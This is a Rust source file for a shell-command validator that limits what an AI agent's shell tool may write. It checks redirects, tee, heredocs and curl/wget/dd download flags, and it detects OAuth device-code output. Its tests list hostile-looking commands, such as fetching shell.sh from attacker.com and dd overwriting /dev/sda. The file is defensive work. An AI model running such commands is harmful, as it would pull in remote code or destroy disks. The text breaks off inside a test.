Skip to main content

lean_ctx/tools/
ctx_shell.rs

1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5/// Validates a shell command before execution. Returns Some(error_message) if
6/// the command should be rejected, None if it's safe to run.
7pub fn validate_command(command: &str) -> Option<String> {
8    let write_allow_paths = crate::core::config::default_shell_write_allow_paths();
9    let project_root = crate::core::config::Config::find_project_root();
10    validate_command_with_write_allow_paths(command, &write_allow_paths, project_root.as_deref())
11}
12
13pub(crate) fn validate_command_with_write_allow_paths(
14    command: &str,
15    write_allow_paths: &[String],
16    project_root: Option<&str>,
17) -> Option<String> {
18    if command.len() > MAX_COMMAND_BYTES {
19        return Some(format!(
20            "ERROR: Command too large ({} bytes, limit {}). \
21             If you're writing file content, use the native Write/Edit tool instead. \
22             ctx_shell is for reading command output only (git, cargo, npm, etc.).",
23            command.len(),
24            MAX_COMMAND_BYTES
25        ));
26    }
27
28    // #931: strip heredoc bodies before the redirect scanner — a `>` inside a
29    // heredoc body is opaque data, not a file-write redirect.
30    let cmd_no_heredoc = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
31    if has_file_write_redirect(&cmd_no_heredoc, write_allow_paths, project_root) {
32        return Some(
33            "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
34             Use the native Write tool to create/modify files. \
35             ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
36             File writes via shell cause MCP protocol corruption on large payloads. \
37             Output capture to temp paths (/tmp, /var/tmp, $TMPDIR) is allowed."
38                .to_string(),
39        );
40    }
41
42    // #989: tee detection must run on heredoc-stripped text to avoid false
43    // positives when the word "tee" appears in heredoc/quoted payloads.
44    //
45    // #1671: the rule is the destination, not the pipe. The message used to say
46    // "tee without pipe" and then state that piped tee is allowed — so it
47    // rejected a command and, in the next sentence, described that exact
48    // command as permitted. A reviewer read it, concluded the block was correct
49    // because an alternative was offered, and closed a review with no findings.
50    // Naming the pipe also sent callers off to restructure their pipeline,
51    // which cannot help: `… | tee FILE | wc -l` is judged identically.
52    if let Some(target) = disallowed_tee_target(&cmd_no_heredoc, write_allow_paths, project_root) {
53        return Some(format!(
54            "ERROR: ctx_shell refuses `tee {target}` — the destination is inside the \
55             project, and ctx_shell is ONLY for reading command output. \
56             Piping makes no difference: the destination decides. \
57             Use the native Write tool to create/modify project files, or tee to a \
58             scratch path (/tmp, /var/tmp, $TMPDIR), which is allowed."
59        ));
60    }
61
62    if is_heredoc_file_write(command, write_allow_paths, project_root) {
63        return Some(
64            "ERROR: ctx_shell detected a heredoc writing to a file. \
65             Use the native Write tool to create/modify files. \
66             ctx_shell is ONLY for reading command output. \
67             Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
68                .to_string(),
69        );
70    }
71
72    // #1672: on the heredoc-stripped text, for the same reason as #931 and
73    // #989 above. A download flag inside a heredoc *body* is opaque data — a
74    // commit message, a doc, a fixture — and refusing the call for it blocks
75    // writing about the guard at all. This detector was simply never switched
76    // over when the other two were.
77    if let Some(reason) = download_to_file_reason(&cmd_no_heredoc) {
78        return Some(format!(
79            "ERROR: ctx_shell detected a file download/write ({reason}). \
80             ctx_shell is ONLY for reading command output — redirect-free flags bypass \
81             this doctrine, so they are blocked too (GH #391). \
82             For text, fetch to stdout: curl <url> / wget -qO- <url>. \
83             For a binary (image, PDF, archive) neither stdout nor the editor's Write \
84             tool can carry the bytes — download to an absolute scratch path instead, \
85             e.g. curl -sL -o /tmp/shot.png <url>, which is permitted (GH #1661)."
86        ));
87    }
88
89    None
90}
91
92/// Well-known Unix scratch prefixes that agents use on every platform.
93/// On Windows, `/tmp/foo` is not a real absolute path, but Git Bash, WSL,
94/// and agent-generated commands routinely target it.  (#1467)
95fn is_unix_scratch_prefix(path: &str) -> bool {
96    for prefix in ["/tmp", "/var/tmp", "/private/tmp", "/dev/null"] {
97        if path == prefix || path.starts_with(&format!("{prefix}/")) {
98            return true;
99        }
100    }
101    false
102}
103
104/// Detects download/copy tools writing directly to files via their own flags.
105/// Returns true when a path targets a scratch/temp location outside the
106/// project, where file downloads are safe (#1021).
107fn is_scratch_path(path: &str) -> bool {
108    if is_unix_scratch_prefix(path) {
109        return true;
110    }
111    if let Ok(tmpdir) = std::env::var("TMPDIR")
112        && !tmpdir.is_empty()
113        && std::path::Path::new(path).starts_with(tmpdir.as_str())
114    {
115        return true;
116    }
117    // Windows: %TEMP% / std::env::temp_dir()
118    let tmp = std::env::temp_dir();
119    if std::path::Path::new(path).starts_with(&tmp) {
120        return true;
121    }
122    false
123}
124
125/// (`curl -o`, `wget` default mode, `dd of=`) — the redirect-free equivalent of
126/// `> file`, reported as a `validate_command` bypass in GH #391.
127fn download_to_file_reason(command: &str) -> Option<String> {
128    // #1661: the scratch carve-out is written in absolute paths, but agents
129    // reach a scratch directory the way a person would — `cd <scratchpad> &&
130    // curl -o shot.png …`. Judged as the bare string `shot.png`, a target that
131    // lands squarely inside the sanctioned directory looked like a project
132    // write and was blocked, leaving no in-tool way to fetch a binary at all.
133    // Segments are paired with the directory they actually run in so a relative
134    // target is judged where it lands.
135    for seg_cwd in crate::core::command_cwd::segments_with_cwd(command, None) {
136        let seg = seg_cwd.segment;
137        let here = seg_cwd.cwd;
138        let resolve = |path: &str| -> String {
139            let p = std::path::Path::new(path);
140            // `starts_with('/')`: shell text, so a Unix-absolute target is
141            // absolute on Windows too, where `is_absolute` disagrees (#1467).
142            if p.is_absolute() || path.starts_with('/') {
143                return path.to_string();
144            }
145            // Without a known directory the target stays unresolved, which the
146            // scratch check then rejects — the guard errs closed.
147            match here.as_deref() {
148                Some(dir) => crate::core::command_cwd::join_in(dir, path)
149                    .to_string_lossy()
150                    .into_owned(),
151                None => path.to_string(),
152            }
153        };
154        let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
155        let Some(first) = tokens.first() else {
156            continue;
157        };
158        let base = first.rsplit('/').next().unwrap_or(first);
159        match base {
160            "curl" => {
161                let tokens_slice = &tokens[1..];
162                for (i, tok) in tokens_slice.iter().enumerate() {
163                    let target: Option<&str> = if tok == "--output" {
164                        tokens_slice.get(i + 1).map(String::as_str)
165                    } else if let Some(val) = tok.strip_prefix("--output=") {
166                        Some(val)
167                    } else if tok == "--output-dir" {
168                        tokens_slice.get(i + 1).map(String::as_str)
169                    } else if let Some(val) = tok.strip_prefix("--output-dir=") {
170                        Some(val)
171                    } else if tok.starts_with('-')
172                        && !tok.starts_with("--")
173                        && tok[1..].contains('o')
174                    {
175                        // -o <file>: next token is the path
176                        tokens_slice.get(i + 1).map(String::as_str)
177                    } else if tok == "--remote-name"
178                        || tok == "--remote-name-all"
179                        || (tok.starts_with('-')
180                            && !tok.starts_with("--")
181                            && tok[1..].contains('O'))
182                    {
183                        Some(".")
184                    } else {
185                        None
186                    };
187                    if let Some(path) = target {
188                        if is_scratch_path(&resolve(path)) {
189                            continue;
190                        }
191                        return Some(format!("curl {tok}"));
192                    }
193                }
194            }
195            "wget" => {
196                // wget writes a file BY DEFAULT; only stdout/no-download modes pass.
197                let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
198                    tok == "--output-document=-"
199                        || tok == "-O-"
200                        || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
201                        || ((tok == "-O" || tok == "--output-document")
202                            && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
203                        || tok == "--spider"
204                });
205                if !to_stdout {
206                    return Some(
207                        "wget downloads to a file by default; use wget -qO- <url> for stdout"
208                            .to_string(),
209                    );
210                }
211            }
212            "dd" => {
213                for tok in &tokens[1..] {
214                    if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
215                        return Some(format!("dd {tok}"));
216                    }
217                }
218            }
219            _ => {}
220        }
221    }
222    None
223}
224
225/// Returns true only for heredocs that redirect to files (the dangerous pattern).
226/// Legitimate heredoc uses (input piping, inline scripts) are allowed through.
227fn is_heredoc_file_write(
228    command: &str,
229    write_allow_paths: &[String],
230    project_root: Option<&str>,
231) -> bool {
232    let has_heredoc = command.contains("<<");
233    if !has_heredoc {
234        return false;
235    }
236    let cmd_lower = command.to_lowercase();
237    let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
238    let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
239    if !has_known_heredoc {
240        return false;
241    }
242    // #931: strip heredoc bodies so `>` / `>>` inside the body are not
243    // mistaken for file-write redirects.
244    let stripped = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
245    has_file_write_redirect(&stripped, write_allow_paths, project_root)
246}
247
248/// Detects shell redirect operators (`>` or `>>`) that write to files.
249/// Ignores `>` inside quotes, after a backslash escape (`\"` must not toggle
250/// quote state, `\>` is a literal), `2>` (stderr), `/dev/null`, and
251/// comparison operators.
252/// #848: temp directory targets are read-back, not persistent writes.
253/// #848/#989: targets that are NOT persistent project-file writes.
254/// Redirecting to temp dirs, /dev/* devices, or paths containing shell
255/// variables (which we cannot resolve at parse time) is output capture,
256/// not file authoring.
257pub fn is_temp_redirect_target(target: &str) -> bool {
258    let write_allow_paths = crate::core::config::default_shell_write_allow_paths();
259    is_write_allowed_redirect_target(target, &write_allow_paths, None)
260}
261
262fn is_write_allowed_redirect_target(
263    target: &str,
264    write_allow_paths: &[String],
265    project_root: Option<&str>,
266) -> bool {
267    // `>|` is the noclobber-override form of `>`; the `|` is not part of the path.
268    let t = target.trim_start_matches(['>', '&', '|']);
269    // #1142: agents quote scratch paths (`> "$TMPDIR/x.log"`, `> "/private/tmp/x"`);
270    // strip quotes so quoted and unquoted targets are judged identically.
271    let t = t.trim_matches(['"', '\'']);
272    if t.starts_with('$') || t.starts_with("${") {
273        // Preserve #989's escape hatch for harness-provided scratch paths.
274        return true;
275    }
276
277    // On Windows, agents often use Unix-style /tmp paths (Git Bash, WSL,
278    // or Claude generating Unix commands).  `/tmp/foo` is not absolute per
279    // std::path on Windows, so check well-known scratch prefixes before
280    // the is_absolute gate.  (#1467)
281    if is_unix_scratch_prefix(t) {
282        return true;
283    }
284
285    let path = std::path::Path::new(t);
286    if !path.is_absolute() {
287        return false;
288    }
289    let resolved = resolve_path_for_comparison(path);
290    if project_root.is_some_and(|root| {
291        resolved.starts_with(resolve_path_for_comparison(std::path::Path::new(root)))
292    }) {
293        return false;
294    }
295    write_allow_paths.iter().any(|allowed| {
296        resolved.starts_with(resolve_path_for_comparison(std::path::Path::new(allowed)))
297    })
298}
299
300fn resolve_path_for_comparison(path: &std::path::Path) -> std::path::PathBuf {
301    use std::path::{Component, PathBuf};
302
303    let mut normalized = PathBuf::new();
304    for component in path.components() {
305        match component {
306            Component::CurDir => {}
307            Component::ParentDir => {
308                normalized.pop();
309            }
310            other => normalized.push(other.as_os_str()),
311        }
312    }
313
314    let mut unresolved = Vec::new();
315    let mut existing = normalized.clone();
316    while !existing.exists() {
317        let Some(name) = existing.file_name() else {
318            break;
319        };
320        unresolved.push(name.to_os_string());
321        if !existing.pop() {
322            break;
323        }
324    }
325    let mut resolved = crate::core::pathutil::canonicalize_secure_or_self(&existing);
326    for component in unresolved.iter().rev() {
327        resolved.push(component);
328    }
329    resolved
330}
331
332fn tee_targets(command: &str) -> Vec<String> {
333    crate::core::shell_allowlist::extract_all_commands_pub(command)
334        .into_iter()
335        .filter_map(|segment| {
336            let tokens = crate::core::shell_allowlist::shell_tokenize(segment.trim());
337            let first = tokens.first()?;
338            if first.rsplit('/').next().unwrap_or(first) != "tee" {
339                return None;
340            }
341            let mut after_separator = false;
342            Some(
343                tokens
344                    .iter()
345                    .skip(1)
346                    .find(|token| {
347                        if *token == "--" {
348                            after_separator = true;
349                            return false;
350                        }
351                        after_separator || !token.starts_with('-')
352                    })
353                    .cloned()
354                    .unwrap_or_default(),
355            )
356        })
357        .collect()
358}
359
360/// The first `tee` destination that is not a permitted write target.
361///
362/// Returns the path so the refusal can name it (#1671). The rule is entirely
363/// about the destination — whether the `tee` is piped makes no difference — and
364/// a message that cannot name the destination ends up describing some other
365/// rule instead.
366fn disallowed_tee_target(
367    command: &str,
368    write_allow_paths: &[String],
369    project_root: Option<&str>,
370) -> Option<String> {
371    tee_targets(command).into_iter().find(|target| {
372        !target.is_empty()
373            && !is_write_allowed_redirect_target(target, write_allow_paths, project_root)
374    })
375}
376
377fn has_file_write_redirect(
378    command: &str,
379    write_allow_paths: &[String],
380    project_root: Option<&str>,
381) -> bool {
382    let bytes = command.as_bytes();
383    let len = bytes.len();
384    let mut i = 0;
385    let mut in_single_quote = false;
386    let mut in_double_quote = false;
387
388    while i < len {
389        let c = bytes[i];
390        if c == b'\\' && !in_single_quote {
391            // A backslash escapes the next byte (POSIX: outside quotes and
392            // inside double quotes; inside single quotes it is literal).
393            // Without this, an escaped quote like `\"` toggled the quote
394            // state and literal `>` in quoted prose (e.g. `(root: <root>)`
395            // in a gh --body string) read as a redirect (#903).
396            i += 2;
397            continue;
398        }
399        if c == b'\'' && !in_double_quote {
400            in_single_quote = !in_single_quote;
401        } else if c == b'"' && !in_single_quote {
402            in_double_quote = !in_double_quote;
403        } else if c == b'>' && !in_single_quote && !in_double_quote {
404            if i > 0 && bytes[i - 1] == b'2' {
405                i += 1;
406                continue;
407            }
408            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
409                i + 2
410            } else {
411                i + 1
412            };
413            // The redirect *operator* can carry one more character: `>|`
414            // overrides noclobber and `>&` duplicates a descriptor. Neither
415            // belongs to the target word, so strip it before reading the word
416            // and re-attach `&` for the fd check below.
417            let rest = command[target_start..].trim_start();
418            let (rest, fd_dup) = match rest.strip_prefix('|') {
419                Some(r) => (r, false),
420                None => match rest.strip_prefix('&') {
421                    Some(r) => (r, true),
422                    None => (rest, false),
423                },
424            };
425            // The word ends at whitespace *or* at a shell metacharacter
426            // (#1659). Stopping only at whitespace made the verdict depend on
427            // where the redirect sat: `echo a 1>/dev/null` read the target as
428            // `/dev/null` and was allowed, while `echo a 1>/dev/null; echo b`
429            // read `/dev/null;` — semicolon included, since it is not
430            // whitespace — missed the /dev/null exemption, and was blocked as a
431            // file write. `&&` happened to work only because a space precedes
432            // it. Same redirect, same shell semantics, opposite verdicts.
433            //
434            // `(` is deliberately not a terminator: it would reduce the
435            // process-substitution target `>(cmd)` to an empty word, and an
436            // empty word falls through unblocked.
437            let word: String = rest
438                .chars()
439                .take_while(|c| !c.is_whitespace() && !matches!(c, ';' | '&' | '|' | ')' | '<'))
440                .collect();
441            let target = if fd_dup { format!("&{word}") } else { word };
442            if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
443                i += 1;
444                continue;
445            }
446            // #1142: `>&1` / `>&2` duplicate a file descriptor — no file involved.
447            // (`2>&1` is already skipped by the `2>` case above.)
448            if let Some(fd) = target.strip_prefix('&')
449                && !fd.is_empty()
450                && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
451            {
452                i += 1;
453                continue;
454            }
455            // #848: allow redirects to temp directories — agents capture
456            // build output for grepping, not writing persistent files.
457            if is_write_allowed_redirect_target(&target, write_allow_paths, project_root) {
458                i += 1;
459                continue;
460            }
461            if !target.is_empty() {
462                return true;
463            }
464        }
465        i += 1;
466    }
467    false
468}
469
470/// On Windows cmd.exe, `;` is not a valid command separator.
471/// Convert `cmd1; cmd2` to `cmd1 && cmd2` when running under cmd.exe.
472pub fn normalize_command_for_shell(command: &str) -> String {
473    if !cfg!(windows) {
474        return command.to_string();
475    }
476    let (_, flag) = crate::shell::shell_and_flag();
477    if flag != "/C" {
478        return command.to_string();
479    }
480    let bytes = command.as_bytes();
481    let mut result = Vec::with_capacity(bytes.len() + 16);
482    let mut in_single = false;
483    let mut in_double = false;
484    for (i, &b) in bytes.iter().enumerate() {
485        if b == b'\'' && !in_double {
486            in_single = !in_single;
487        } else if b == b'"' && !in_single {
488            in_double = !in_double;
489        } else if b == b';' && !in_single && !in_double {
490            result.extend_from_slice(b" && ");
491            continue;
492        }
493        result.push(b);
494        let _ = i;
495    }
496    String::from_utf8(result).unwrap_or_else(|_| command.to_string())
497}
498
499/// Compresses shell command output using the unified compression pipeline.
500/// Delegates to the same exit-code-aware logic used by the CLI, so a failed
501/// command (`exit_code != 0`) is preserved verbatim and successful output is
502/// compressed consistently (excluded_commands, structural routing, terse). #810.
503pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
504    crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
505}
506
507pub fn handle_with_context(
508    command: &str,
509    output: &str,
510    exit_code: i32,
511    crp_mode: CrpMode,
512    project_root: Option<&str>,
513) -> String {
514    let mut result = handle(command, output, exit_code, crp_mode);
515
516    {
517        if let Some(root) = project_root {
518            let estimated_tokens = result.len() / 4;
519            if estimated_tokens > 500 {
520                let kernel_budget = 100;
521                if let Some(enrichment) =
522                    crate::core::context_kernel::bridge::kernel_enrich(command, root, kernel_budget)
523                    && !enrichment.blocks.is_empty()
524                {
525                    result.push_str("\n--- kernel context ---\n");
526                    result.push_str(&enrichment.blocks);
527                }
528            }
529        }
530    }
531
532    result
533}
534
535#[cfg(test)]
536mod kernel_tests {
537    use super::handle_with_context;
538    use crate::tools::CrpMode;
539
540    #[test]
541    fn handle_with_context_does_not_panic_on_short_output() {
542        let result = handle_with_context("ls", "file.txt", 0, CrpMode::Tdd, Some("/tmp"));
543        assert!(!result.is_empty());
544    }
545}
546
547#[cfg(test)]
548fn is_search_command(command: &str) -> bool {
549    let cmd = command.trim_start();
550    cmd.starts_with("grep ")
551        || cmd.starts_with("rg ")
552        || cmd.starts_with("find ")
553        || cmd.starts_with("fd ")
554        || cmd.starts_with("ag ")
555        || cmd.starts_with("ack ")
556}
557
558#[cfg(test)]
559fn generic_compress(output: &str) -> String {
560    let output = crate::core::compressor::strip_ansi(output);
561    let lines: Vec<&str> = output
562        .lines()
563        .filter(|l| {
564            let t = l.trim();
565            !t.is_empty()
566        })
567        .collect();
568
569    if lines.len() <= 20 {
570        return lines.join("\n");
571    }
572
573    let show_count = (lines.len() / 3).min(30);
574    let half = show_count / 2;
575    let first = &lines[..half];
576    let last = &lines[lines.len() - half..];
577    let omitted = lines.len() - (half * 2);
578    format!(
579        "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
580        first.join("\n"),
581        half * 2,
582        lines.len(),
583        omitted,
584        last.join("\n")
585    )
586}
587
588/// Detects OAuth device code flow output that must not be compressed.
589/// Uses a two-tier approach: strong signals match alone (very specific to
590/// device code flows), weak signals require a URL/domain in the same output.
591pub fn contains_auth_flow(output: &str) -> bool {
592    let lower = output.to_lowercase();
593
594    const STRONG_SIGNALS: &[&str] = &[
595        "devicelogin",
596        "deviceauth",
597        "device_code",
598        "device code",
599        "device-code",
600        "verification_uri",
601        "user_code",
602        "one-time code",
603    ];
604
605    if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
606        return true;
607    }
608
609    const WEAK_SIGNALS: &[&str] = &[
610        "enter the code",
611        "enter this code",
612        "enter code:",
613        "use the code",
614        "use a web browser to open",
615        "open the page",
616        "authenticate by visiting",
617        "sign in with the code",
618        "sign in using a code",
619        "verification code",
620        "authorize this device",
621        "waiting for authentication",
622        "waiting for login",
623        "waiting for you to authenticate",
624        "open your browser",
625        "open in your browser",
626    ];
627
628    let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
629    if !has_weak_signal {
630        return false;
631    }
632
633    lower.contains("http://") || lower.contains("https://")
634}
635
636#[cfg(test)]
637mod tests {
638    use super::*;
639
640    #[test]
641    fn normalize_cmd_no_change_on_unix() {
642        if cfg!(windows) {
643            return;
644        }
645        assert_eq!(
646            normalize_command_for_shell("cd /tmp; ls -la"),
647            "cd /tmp; ls -la"
648        );
649    }
650
651    #[test]
652    fn validate_allows_safe_commands() {
653        assert!(validate_command("git status").is_none());
654        assert!(validate_command("cargo test").is_none());
655        assert!(validate_command("npm run build").is_none());
656        assert!(validate_command("ls -la").is_none());
657    }
658
659    #[test]
660    fn validate_blocks_file_writes() {
661        assert!(validate_command("echo 'data' > output.txt").is_some());
662        assert!(validate_command("tee output.txt").is_some());
663        assert!(validate_command("printf 'hello' > test.txt").is_some());
664    }
665
666    #[test]
667    #[cfg(unix)]
668    fn validate_allows_literal_temp_redirect_and_tee_targets() {
669        let paths = crate::core::config::default_shell_write_allow_paths();
670        assert!(
671            validate_command_with_write_allow_paths(
672                "go test ./... > /private/tmp/agent-test.log 2>&1",
673                &paths,
674                None
675            )
676            .is_none()
677        );
678        assert!(
679            validate_command_with_write_allow_paths(
680                "tee /private/tmp/agent-test.log",
681                &paths,
682                None
683            )
684            .is_none()
685        );
686        assert!(
687            validate_command_with_write_allow_paths(
688                "go test ./... | tee /private/tmp/agent-test.log",
689                &paths,
690                None
691            )
692            .is_none()
693        );
694    }
695
696    #[test]
697    fn validate_blocks_redirects_and_piped_tee_into_project_root() {
698        let root = std::env::current_dir().expect("test cwd");
699        let target = root.join("agent-test.log");
700        let target = target.to_string_lossy();
701        let paths = crate::core::config::default_shell_write_allow_paths();
702        assert!(
703            validate_command_with_write_allow_paths(
704                &format!("echo output > {target}"),
705                &paths,
706                Some(root.to_string_lossy().as_ref())
707            )
708            .is_some()
709        );
710        assert!(
711            validate_command_with_write_allow_paths(
712                &format!("go test | tee {target}"),
713                &paths,
714                Some(root.to_string_lossy().as_ref())
715            )
716            .is_some()
717        );
718    }
719
720    #[test]
721    #[cfg(unix)]
722    fn validate_allows_configured_external_write_path() {
723        let paths = vec!["/var/agent-scratch".to_string()];
724        assert!(
725            validate_command_with_write_allow_paths(
726                "go test ./... >> /var/agent-scratch/gotest.log",
727                &paths,
728                Some("/workspace/project")
729            )
730            .is_none()
731        );
732        assert!(
733            validate_command_with_write_allow_paths(
734                "go test ./... | tee /var/agent-scratch/gotest.log",
735                &paths,
736                Some("/workspace/project")
737            )
738            .is_none()
739        );
740        assert!(
741            validate_command_with_write_allow_paths(
742                "echo output > /var/other/gotest.log",
743                &paths,
744                Some("/workspace/project")
745            )
746            .is_some()
747        );
748    }
749
750    #[test]
751    fn validate_blocks_heredoc_with_file_redirect() {
752        assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
753        assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
754        assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
755    }
756
757    #[test]
758    fn validate_allows_heredoc_without_file_redirect() {
759        assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
760        assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
761        assert!(
762            validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
763        );
764        assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
765    }
766
767    #[test]
768    fn validate_blocks_oversized_commands() {
769        let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
770        let result = validate_command(&huge);
771        assert!(result.is_some());
772        assert!(result.unwrap().contains("too large"));
773    }
774
775    #[test]
776    fn validate_allows_cat_without_redirect() {
777        assert!(validate_command("cat file.txt").is_none());
778    }
779
780    // --- GH #903: literal `>` in quoted prose is not a redirect ---
781
782    #[test]
783    fn validate_allows_escaped_quotes_with_angle_brackets() {
784        // `\"` inside a double-quoted string must not toggle quote state;
785        // the `>` in `<root>` is quoted data, not a redirect.
786        assert!(
787            validate_command(
788                "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
789            )
790            .is_none()
791        );
792        assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
793        // escaped `>` outside quotes is a literal, not a redirect
794        assert!(validate_command("echo a \\> b").is_none());
795    }
796
797    #[test]
798    fn validate_still_blocks_redirect_after_escapes() {
799        // the escape handling must not hide a real redirect later on
800        assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
801        assert!(validate_command("echo \\\\ > out.txt").is_some());
802    }
803
804    // --- GH #897: heredoc-to-stdin and /dev/null redirects are not file writes ---
805
806    #[test]
807    fn heredoc_stdin_without_redirect_is_allowed() {
808        assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
809        assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
810        assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
811    }
812
813    #[test]
814    fn dev_null_redirect_is_allowed() {
815        assert!(validate_command("cat > /dev/null").is_none());
816        assert!(validate_command("cmd > /dev/null 2>&1").is_none());
817        assert!(validate_command("cmd 2>/dev/null").is_none());
818    }
819
820    #[test]
821    fn dev_stdout_and_stderr_redirects_are_allowed() {
822        assert!(validate_command("cmd > /dev/stdout").is_none());
823        assert!(validate_command("cmd > /dev/stderr").is_none());
824    }
825
826    #[test]
827    fn issue_897_edge_cases_post_fix() {
828        assert!(
829            validate_command(
830                "cat <<'EOF' > output.txt
831some content
832EOF"
833            )
834            .is_some(),
835            "heredoc to file must block"
836        );
837        assert!(
838            validate_command(
839                "git commit --allow-empty -F - <<'COMMIT_MSG'
840feat: test
841COMMIT_MSG"
842            )
843            .is_none(),
844            "git commit -F - with heredoc must allow"
845        );
846        let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
847        assert!(
848            validate_command(cmd).is_none(),
849            "quoted > must allow: {cmd}"
850        );
851    }
852
853    // --- GH #391: download tools writing files without shell redirects ---
854
855    #[test]
856    fn validate_blocks_curl_output_flags() {
857        // #1021: curl -o to /tmp (scratch) is now allowed
858        assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_none());
859        assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_none());
860        // Writing into project directory is still blocked
861        assert!(validate_command("curl --output evil.bin https://example.com").is_some());
862        assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
863        assert!(validate_command("curl -O https://example.com/payload").is_some());
864        assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
865    }
866
867    #[test]
868    fn validate_allows_curl_to_stdout() {
869        assert!(validate_command("curl https://api.example.com/health").is_none());
870        assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
871        assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
872        // -H takes a value; no o/O short flag involved.
873        assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
874    }
875
876    #[test]
877    fn validate_blocks_wget_default_file_download() {
878        assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
879        assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
880        assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
881    }
882
883    #[test]
884    fn validate_allows_wget_stdout_and_spider() {
885        assert!(validate_command("wget -qO- https://example.com").is_none());
886        assert!(validate_command("wget -O- https://example.com").is_none());
887        assert!(validate_command("wget -O - https://example.com").is_none());
888        assert!(validate_command("wget --output-document=- https://example.com").is_none());
889        assert!(validate_command("wget --spider https://example.com").is_none());
890    }
891
892    #[test]
893    fn validate_blocks_dd_output_file() {
894        assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
895        assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
896    }
897
898    #[test]
899    fn validate_allows_dd_read_only() {
900        assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
901        assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
902    }
903
904    // --- Auth flow detection: strong signals (no URL needed) ---
905
906    #[test]
907    fn auth_flow_detects_azure_device_code() {
908        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
909        assert!(contains_auth_flow(output));
910    }
911
912    #[test]
913    fn auth_flow_detects_gh_auth_one_time_code() {
914        let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
915        assert!(contains_auth_flow(output));
916    }
917
918    #[test]
919    fn auth_flow_detects_device_code_json() {
920        let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
921        assert!(contains_auth_flow(output));
922    }
923
924    #[test]
925    fn auth_flow_detects_verification_uri_field() {
926        let output =
927            r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
928        assert!(contains_auth_flow(output));
929    }
930
931    #[test]
932    fn auth_flow_detects_user_code_field() {
933        let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
934        assert!(contains_auth_flow(output));
935    }
936
937    // --- Auth flow detection: weak signals (require URL) ---
938
939    #[test]
940    fn auth_flow_detects_gcloud_with_url() {
941        let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
942        assert!(contains_auth_flow(output));
943    }
944
945    #[test]
946    fn auth_flow_detects_aws_sso_with_url() {
947        let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
948        assert!(contains_auth_flow(output));
949    }
950
951    #[test]
952    fn auth_flow_detects_firebase_with_url() {
953        let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
954        assert!(contains_auth_flow(output));
955    }
956
957    #[test]
958    fn auth_flow_detects_generic_browser_open_with_url() {
959        let output =
960            "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
961        assert!(contains_auth_flow(output));
962    }
963
964    // --- False positive protection ---
965
966    #[test]
967    fn auth_flow_ignores_normal_build_output() {
968        let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
969        assert!(!contains_auth_flow(output));
970    }
971
972    #[test]
973    fn auth_flow_ignores_git_output() {
